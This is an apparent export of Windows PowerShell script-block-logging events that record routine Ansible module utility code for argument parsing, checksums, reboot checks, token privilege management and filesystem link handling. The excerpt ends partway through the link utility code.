Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 5b4b0eb5-9ca1-417d-a0a5-aa2e125db358
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2248 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:09 AM | 61e00a24-ee3b-0005-ce07-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
$status = $privilege_info.$Name
return $status.HasFlag([Ansible.PrivilegeUtil.PrivilegeAttributes]::Enabled)
} else {
return $null
}
}
Function Set-AnsiblePrivilege {
<#
.SYNOPSIS
Enables/Disables a privilege on the current process' token. If a privilege
has been removed from the process token, this will throw an
InvalidOperationException.
.EXAMPLE
# enable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $true
# disable a privilege
Set-AnsiblePrivilege -Name SeCreateSymbolicLinkPrivilege -Value $false
#>
[CmdletBinding(SupportsShouldProcess)]
param(
[Parameter(Mandatory=$true)][String]$Name,
[Parameter(Mandatory=$true)][bool]$Value
)
$action = switch($Value) {
$true { "Enable" }
$false { "Disable" }
}
$current_state = Get-AnsiblePrivilege -Name $Name
if ($current_state -eq $Value) {
return # no change needs to occur
} elseif ($null -eq $current_state) {
# once a privilege is removed from a token we cannot do anything with it
throw [System.InvalidOperationException] "Cannot $($action.ToLower()) the privilege '$Name' as it has been removed from the token"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
if ($PSCmdlet.ShouldProcess($Name, "$action the privilege $Name")) {
$new_state = New-Object -TypeName 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
$new_state.Add($Name, $Value)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process_token, $new_state) > $null
}
}
Export-ModuleMember -Function Import-PrivilegeUtil, Get-AnsiblePrivilege, Set-AnsiblePrivilege `
-Variable ansible_privilege_util_namespaces, ansible_privilege_util_code
ScriptBlock ID: 23c32ec2-2382-4e94-9d36-9232dadd5926
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2247 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:09 AM | 61e00a24-ee3b-0000-40b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
# Copyright (c) 2018 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
# store in separate variables to make it easier for other module_utils to
# share this code in their own c# code
$ansible_privilege_util_namespaces = @(
"Microsoft.Win32.SafeHandles",
"System",
"System.Collections.Generic",
"System.Linq",
"System.Runtime.InteropServices",
"System.Security.Principal",
"System.Text"
)
$ansible_privilege_util_code = @'
namespace Ansible.PrivilegeUtil
{
[Flags]
public enum PrivilegeAttributes : uint
{
Disabled = 0x00000000,
EnabledByDefault = 0x00000001,
Enabled = 0x00000002,
Removed = 0x00000004,
UsedForAccess = 0x80000000,
}
internal class NativeHelpers
{
[StructLayout(LayoutKind.Sequential)]
internal struct LUID
{
public UInt32 LowPart;
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
internal struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public PrivilegeAttributes Attributes;
}
[StructLayout(LayoutKind.Sequential)]
internal struct TOKEN_PRIVILEGES
{
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
}
internal class NativeMethods
{
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
[MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
IntPtr NewState,
UInt32 BufferLength,
IntPtr PreviousState,
out UInt32 ReturnLength);
[DllImport("kernel32.dll")]
internal static extern bool CloseHandle(
IntPtr hObject);
[DllImport("kernel32")]
internal static extern SafeWaitHandle GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool GetTokenInformation(
IntPtr TokenHandle,
UInt32 TokenInformationClass,
IntPtr TokenInformation,
UInt32 TokenInformationLength,
out UInt32 ReturnLength);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeName(
string lpSystemName,
ref NativeHelpers.LUID lpLuid,
StringBuilder lpName,
ref UInt32 cchName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
internal static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out NativeHelpers.LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool OpenProcessToken(
SafeHandle ProcessHandle,
TokenAccessLevels DesiredAccess,
out IntPtr TokenHandle);
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class Privileges
{
private static readonly UInt32 TOKEN_PRIVILEGES = 3;
public static bool CheckPrivilegeName(string name)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, name, out luid))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 1313) // ERROR_NO_SUCH_PRIVILEGE
throw new Win32Exception(errCode, String.Format("LookupPrivilegeValue({0}) failed", name));
return false;
}
else
{
return true;
}
}
public static Dictionary<string, bool?> DisablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, false } });
}
public static Dictionary<string, bool?> DisableAllPrivileges(SafeHandle token)
{
return AdjustTokenPrivileges(token, null);
}
public static Dictionary<string, bool?> EnablePrivilege(SafeHandle token, string privilege)
{
return SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, true } });
}
public static Dictionary<String, PrivilegeAttributes> GetAllPrivilegeInfo(SafeHandle token)
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query, out hToken))
throw new Win32Exception("OpenProcessToken() failed");
Dictionary<String, PrivilegeAttributes> info = new Dictionary<String, PrivilegeAttributes>();
try
{
UInt32 tokenLength = 0;
NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, IntPtr.Zero, 0, out tokenLength);
NativeHelpers.LUID_AND_ATTRIBUTES[] privileges;
IntPtr privilegesPtr = Marshal.AllocHGlobal((int)tokenLength);
try
{
if (!NativeMethods.GetTokenInformation(hToken, TOKEN_PRIVILEGES, privilegesPtr, tokenLength, out tokenLength))
throw new Win32Exception("GetTokenInformation() for TOKEN_PRIVILEGES failed");
NativeHelpers.TOKEN_PRIVILEGES privilegeInfo = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(privilegesPtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[privilegeInfo.PrivilegeCount];
PtrToStructureArray(privileges, IntPtr.Add(privilegesPtr, Marshal.SizeOf(privilegeInfo.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(privilegesPtr);
}
info = privileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => p.Attributes);
}
finally
{
NativeMethods.CloseHandle(hToken);
}
return info;
}
public static SafeWaitHandle GetCurrentProcess()
{
return NativeMethods.GetCurrentProcess();
}
public static void RemovePrivilege(SafeHandle token, string privilege)
{
SetTokenPrivileges(token, new Dictionary<string, bool?>() { { privilege, null } });
}
public static Dictionary<string, bool?> SetTokenPrivileges(SafeHandle token, Dictionary<string, bool?> state)
{
NativeHelpers.LUID_AND_ATTRIBUTES[] privilegeAttr = new NativeHelpers.LUID_AND_ATTRIBUTES[state.Count];
int i = 0;
foreach (KeyValuePair<string, bool?> entry in state)
{
NativeHelpers.LUID luid;
if (!NativeMethods.LookupPrivilegeValue(null, entry.Key, out luid))
throw new Win32Exception(String.Format("LookupPrivilegeValue({0}) failed", entry.Key));
PrivilegeAttributes attributes;
switch (entry.Value)
{
case true:
attributes = PrivilegeAttributes.Enabled;
break;
case false:
attributes = PrivilegeAttributes.Disabled;
break;
default:
attributes = PrivilegeAttributes.Removed;
break;
}
privilegeAttr[i].Luid = luid;
privilegeAttr[i].Attributes = attributes;
i++;
}
return AdjustTokenPrivileges(token, privilegeAttr);
}
private static Dictionary<string, bool?> AdjustTokenPrivileges(SafeHandle token, NativeHelpers.LUID_AND_ATTRIBUTES[] newState)
{
bool disableAllPrivileges;
IntPtr newStatePtr;
NativeHelpers.LUID_AND_ATTRIBUTES[] oldStatePrivileges;
UInt32 returnLength;
if (newState == null)
{
disableAllPrivileges = true;
newStatePtr = IntPtr.Zero;
}
else
{
disableAllPrivileges = false;
// Need to manually marshal the bytes requires for newState as the constant size
// of LUID_AND_ATTRIBUTES is set to 1 and can't be overridden at runtime, TOKEN_PRIVILEGES
// always contains at least 1 entry so we need to calculate the extra size if there are
// nore than 1 LUID_AND_ATTRIBUTES entry
int tokenPrivilegesSize = Marshal.SizeOf(typeof(NativeHelpers.TOKEN_PRIVILEGES));
int luidAttrSize = 0;
if (newState.Length > 1)
luidAttrSize = Marshal.SizeOf(typeof(NativeHelpers.LUID_AND_ATTRIBUTES)) * (newState.Length - 1);
int totalSize = tokenPrivilegesSize + luidAttrSize;
byte[] newStateBytes = new byte[totalSize];
// get the first entry that includes the struct details
NativeHelpers.TOKEN_PRIVILEGES tokenPrivileges = new NativeHelpers.TOKEN_PRIVILEGES()
{
PrivilegeCount = (UInt32)newState.Length,
Privileges = new NativeHelpers.LUID_AND_ATTRIBUTES[1],
};
if (newState.Length > 0)
tokenPrivileges.Privileges[0] = newState[0];
int offset = StructureToBytes(tokenPrivileges, newStateBytes, 0);
// copy the remaining LUID_AND_ATTRIBUTES (if any)
for (int i = 1; i < newState.Length; i++)
offset += StructureToBytes(newState[i], newStateBytes, offset);
// finally create the pointer to the byte array we just created
newStatePtr = Marshal.AllocHGlobal(newStateBytes.Length);
Marshal.Copy(newStateBytes, 0, newStatePtr, newStateBytes.Length);
}
try
{
IntPtr hToken = IntPtr.Zero;
if (!NativeMethods.OpenProcessToken(token, TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, out hToken))
throw new Win32Exception("OpenProcessToken() failed with Query and AdjustPrivileges");
try
{
IntPtr oldStatePtr = Marshal.AllocHGlobal(0);
if (!NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, 0, oldStatePtr, out returnLength))
{
int errCode = Marshal.GetLastWin32Error();
if (errCode != 122) // ERROR_INSUFFICIENT_BUFFER
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed to get old state size");
}
// resize the oldStatePtr based on the length returned from Windows
Marshal.FreeHGlobal(oldStatePtr);
oldStatePtr = Marshal.AllocHGlobal((int)returnLength);
try
{
bool res = NativeMethods.AdjustTokenPrivileges(hToken, disableAllPrivileges, newStatePtr, returnLength, oldStatePtr, out returnLength);
int errCode = Marshal.GetLastWin32Error();
// even when res == true, ERROR_NOT_ALL_ASSIGNED may be set as the last error code
if (!res || errCode != 0)
throw new Win32Exception(errCode, "AdjustTokenPrivileges() failed");
// Marshal the oldStatePtr to the struct
NativeHelpers.TOKEN_PRIVILEGES oldState = (NativeHelpers.TOKEN_PRIVILEGES)Marshal.PtrToStructure(oldStatePtr, typeof(NativeHelpers.TOKEN_PRIVILEGES));
oldStatePrivileges = new NativeHelpers.LUID_AND_ATTRIBUTES[oldState.PrivilegeCount];
PtrToStructureArray(oldStatePrivileges, IntPtr.Add(oldStatePtr, Marshal.SizeOf(oldState.PrivilegeCount)));
}
finally
{
Marshal.FreeHGlobal(oldStatePtr);
}
}
finally
{
NativeMethods.CloseHandle(hToken);
}
}
finally
{
if (newStatePtr != IntPtr.Zero)
Marshal.FreeHGlobal(newStatePtr);
}
return oldStatePrivileges.ToDictionary(p => GetPrivilegeName(p.Luid), p => (bool?)p.Attributes.HasFlag(PrivilegeAttributes.Enabled));
}
private static string GetPrivilegeName(NativeHelpers.LUID luid)
{
UInt32 nameLen = 0;
NativeMethods.LookupPrivilegeName(null, ref luid, null, ref nameLen);
StringBuilder name = new StringBuilder((int)(nameLen + 1));
if (!NativeMethods.LookupPrivilegeName(null, ref luid, name, ref nameLen))
throw new Win32Exception("LookupPrivilegeName() failed");
return name.ToString();
}
private static void PtrToStructureArray<T>(T[] array, IntPtr ptr)
{
IntPtr ptrOffset = ptr;
for (int i = 0; i < array.Length; i++, ptrOffset = IntPtr.Add(ptrOffset, Marshal.SizeOf(typeof(T))))
array[i] = (T)Marshal.PtrToStructure(ptrOffset, typeof(T));
}
private static int StructureToBytes<T>(T structure, byte[] array, int offset)
{
int size = Marshal.SizeOf(structure);
IntPtr structPtr = Marshal.AllocHGlobal(size);
try
{
Marshal.StructureToPtr(structure, structPtr, false);
Marshal.Copy(structPtr, array, offset, size);
}
finally
{
Marshal.FreeHGlobal(structPtr);
}
return size;
}
}
}
'@
Function Import-PrivilegeUtil {
<#
.SYNOPSIS
Compiles the C# code that can be used to manage Windows privileges from an
Ansible module. Once this function is called, the following PowerShell
cmdlets can be used;
Get-AnsiblePrivilege
Set-AnsiblePrivilege
The above cmdlets give the ability to manage permissions on the current
process token but the underlying .NET classes are also exposed for greater
control. The following functions can be used by calling the .NET class
[Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($name)
[Ansible.PrivilegeUtil.Privileges]::DisablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::DisableAllPrivileges($process)
[Ansible.PrivilegeUtil.Privileges]::EnablePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process)
[Ansible.PrivilegeUtil.Privileges]::RemovePrivilege($process, $name)
[Ansible.PrivilegeUtil.Privileges]::SetTokenPrivileges($process, $new_state)
Here is a brief explanation of each type of arg
$process = The process handle to manipulate, use '[Ansible.PrivilegeUtils.Privileges]::GetCurrentProcess()' to get the current process handle
$name = The name of the privilege, this is the constant value from https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/privilege-constants, e.g. SeAuditPrivilege
$new_state = 'System.Collections.Generic.Dictionary`2[[System.String], [System.Nullable`1[System.Boolean]]]'
The key is the constant name as a string, the value is a ternary boolean where
true - will enable the privilege
false - will disable the privilege
null - will remove the privilege
Each method that changes the privilege state will return a dictionary that
can be used as the $new_state arg of SetTokenPrivileges to undo and revert
back to the original state. If you remove a privilege then this is
irreversible and won't be part of the returned dict
#>
[CmdletBinding()]
# build the C# code to compile
$namespace_import = ($ansible_privilege_util_namespaces | ForEach-Object { "using $_;" }) -join "`r`n"
$platform_util = "$namespace_import`r`n`r`n$ansible_privilege_util_code"
# FUTURE: find a better way to get the _ansible_remote_tmp variable
# this is used to force csc to compile the C# code in the remote tmp
# specified
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $platform_util
$env:TMP = $original_tmp
}
Function Get-AnsiblePrivilege {
<#
.SYNOPSIS
Get the status of a privilege for the current process. This returns
$true - the privilege is enabled
$false - the privilege is disabled
$null - the privilege is removed from the token
If Name is not a valid privilege name, this will throw an
ArgumentException.
.EXAMPLE
Get-AnsiblePrivilege -Name SeDebugPrivilege
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][String]$Name
)
if (-not [Ansible.PrivilegeUtil.Privileges]::CheckPrivilegeName($Name)) {
throw [System.ArgumentException] "Invalid privilege name '$Name'"
}
$process_token = [Ansible.PrivilegeUtil.Privileges]::GetCurrentProcess()
$privilege_info = [Ansible.PrivilegeUtil.Privileges]::GetAllPrivilegeInfo($process_token)
if ($privilege_info.ContainsKey($Name)) {
ScriptBlock ID: 23c32ec2-2382-4e94-9d36-9232dadd5926
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2246 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:09 AM | 61e00a24-ee3b-0000-40b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
#Requires -Module Ansible.ModuleUtils.PrivilegeUtil
Function Load-LinkUtils() {
$link_util = @'
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Ansible
{
public enum LinkType
{
SymbolicLink,
JunctionPoint,
HardLink
}
public class LinkUtilWin32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public LinkUtilWin32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public LinkUtilWin32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator LinkUtilWin32Exception(string message) { return new LinkUtilWin32Exception(message); }
}
public class LinkInfo
{
public LinkType Type { get; internal set; }
public string PrintName { get; internal set; }
public string SubstituteName { get; internal set; }
public string AbsolutePath { get; internal set; }
public string TargetPath { get; internal set; }
public string[] HardTargets { get; internal set; }
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct REPARSE_DATA_BUFFER
{
public UInt32 ReparseTag;
public UInt16 ReparseDataLength;
public UInt16 Reserved;
public UInt16 SubstituteNameOffset;
public UInt16 SubstituteNameLength;
public UInt16 PrintNameOffset;
public UInt16 PrintNameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = LinkUtil.MAXIMUM_REPARSE_DATA_BUFFER_SIZE)]
public char[] PathBuffer;
}
public class LinkUtil
{
public const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 1024 * 16;
private const UInt32 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
private const UInt32 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
private const UInt32 FSCTL_GET_REPARSE_POINT = 0x000900A8;
private const UInt32 FSCTL_SET_REPARSE_POINT = 0x000900A4;
private const UInt32 FILE_DEVICE_FILE_SYSTEM = 0x00090000;
private const UInt32 IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003;
private const UInt32 IO_REPARSE_TAG_SYMLINK = 0xA000000C;
private const UInt32 SYMLINK_FLAG_RELATIVE = 0x00000001;
private const Int64 INVALID_HANDLE_VALUE = -1;
private const UInt32 SIZE_OF_WCHAR = 2;
private const UInt32 SYMBOLIC_LINK_FLAG_FILE = 0x00000000;
private const UInt32 SYMBOLIC_LINK_FLAG_DIRECTORY = 0x00000001;
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
// Used by GetReparsePointInfo()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
IntPtr lpInBuffer,
UInt32 nInBufferSize,
out REPARSE_DATA_BUFFER lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
// Used by CreateJunctionPoint()
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
UInt32 dwIoControlCode,
REPARSE_DATA_BUFFER lpInBuffer,
UInt32 nInBufferSize,
IntPtr lpOutBuffer,
UInt32 nOutBufferSize,
out UInt32 lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetVolumePathName(
string lpszFileName,
StringBuilder lpszVolumePathName,
ref UInt32 cchBufferLength);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindFirstFileNameW(
string lpFileName,
UInt32 dwFlags,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool FindNextFileNameW(
IntPtr hFindStream,
ref UInt32 StringLength,
StringBuilder LinkName);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool FindClose(
IntPtr hFindFile);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool RemoveDirectory(
string lpPathName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool DeleteFile(
string lpFileName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateSymbolicLink(
string lpSymlinkFileName,
string lpTargetFileName,
UInt32 dwFlags);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateHardLink(
string lpFileName,
string lpExistingFileName,
IntPtr lpSecurityAttributes);
public static LinkInfo GetLinkInfo(string linkPath)
{
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.ReparsePoint))
return GetReparsePointInfo(linkPath);
if (!attr.HasFlag(FileAttributes.Directory))
return GetHardLinkInfo(linkPath);
return null;
}
public static void DeleteLink(string linkPath)
{
bool success;
FileAttributes attr = File.GetAttributes(linkPath);
if (attr.HasFlag(FileAttributes.Directory))
{
success = RemoveDirectory(linkPath);
}
else
{
success = DeleteFile(linkPath);
}
if (!success)
throw new LinkUtilWin32Exception(String.Format("Failed to delete link at {0}", linkPath));
}
public static void CreateLink(string linkPath, String linkTarget, LinkType linkType)
{
switch (linkType)
{
case LinkType.SymbolicLink:
UInt32 linkFlags;
FileAttributes attr = File.GetAttributes(linkTarget);
if (attr.HasFlag(FileAttributes.Directory))
linkFlags = SYMBOLIC_LINK_FLAG_DIRECTORY;
else
linkFlags = SYMBOLIC_LINK_FLAG_FILE;
if (!CreateSymbolicLink(linkPath, linkTarget, linkFlags))
throw new LinkUtilWin32Exception(String.Format("CreateSymbolicLink({0}, {1}, {2}) failed", linkPath, linkTarget, linkFlags));
break;
case LinkType.JunctionPoint:
CreateJunctionPoint(linkPath, linkTarget);
break;
case LinkType.HardLink:
if (!CreateHardLink(linkPath, linkTarget, IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("CreateHardLink({0}, {1}) failed", linkPath, linkTarget));
break;
}
}
private static LinkInfo GetHardLinkInfo(string linkPath)
{
UInt32 maxPath = 260;
List<string> result = new List<string>();
StringBuilder sb = new StringBuilder((int)maxPath);
UInt32 stringLength = maxPath;
if (!GetVolumePathName(linkPath, sb, ref stringLength))
throw new LinkUtilWin32Exception("GetVolumePathName() failed");
string volume = sb.ToString();
stringLength = maxPath;
IntPtr findHandle = FindFirstFileNameW(linkPath, 0, ref stringLength, sb);
if (findHandle.ToInt64() != INVALID_HANDLE_VALUE)
{
try
{
do
{
string hardLinkPath = sb.ToString();
if (hardLinkPath.StartsWith("\\"))
hardLinkPath = hardLinkPath.Substring(1, hardLinkPath.Length - 1);
result.Add(Path.Combine(volume, hardLinkPath));
stringLength = maxPath;
} while (FindNextFileNameW(findHandle, ref stringLength, sb));
}
finally
{
FindClose(findHandle);
}
}
if (result.Count > 1)
return new LinkInfo
{
Type = LinkType.HardLink,
HardTargets = result.ToArray()
};
return null;
}
private static LinkInfo GetReparsePointInfo(string linkPath)
{
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Read,
FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
UInt32 bytesReturned;
try
{
if (!DeviceIoControl(
fileHandle,
FSCTL_GET_REPARSE_POINT,
IntPtr.Zero,
0,
out buffer,
MAXIMUM_REPARSE_DATA_BUFFER_SIZE,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed for file at {0}", linkPath));
}
finally
{
fileHandle.Dispose();
}
bool isRelative = false;
int pathOffset = 0;
LinkType linkType;
if (buffer.ReparseTag == IO_REPARSE_TAG_SYMLINK)
{
UInt32 bufferFlags = Convert.ToUInt32(buffer.PathBuffer[0]) + Convert.ToUInt32(buffer.PathBuffer[1]);
if (bufferFlags == SYMLINK_FLAG_RELATIVE)
isRelative = true;
pathOffset = 2;
linkType = LinkType.SymbolicLink;
}
else if (buffer.ReparseTag == IO_REPARSE_TAG_MOUNT_POINT)
{
linkType = LinkType.JunctionPoint;
}
else
{
string errorMessage = String.Format("Invalid Reparse Tag: {0}", buffer.ReparseTag.ToString());
throw new Exception(errorMessage);
}
string printName = new string(buffer.PathBuffer, (int)(buffer.PrintNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.PrintNameLength / SIZE_OF_WCHAR));
string substituteName = new string(buffer.PathBuffer, (int)(buffer.SubstituteNameOffset / SIZE_OF_WCHAR) + pathOffset, (int)(buffer.SubstituteNameLength / SIZE_OF_WCHAR));
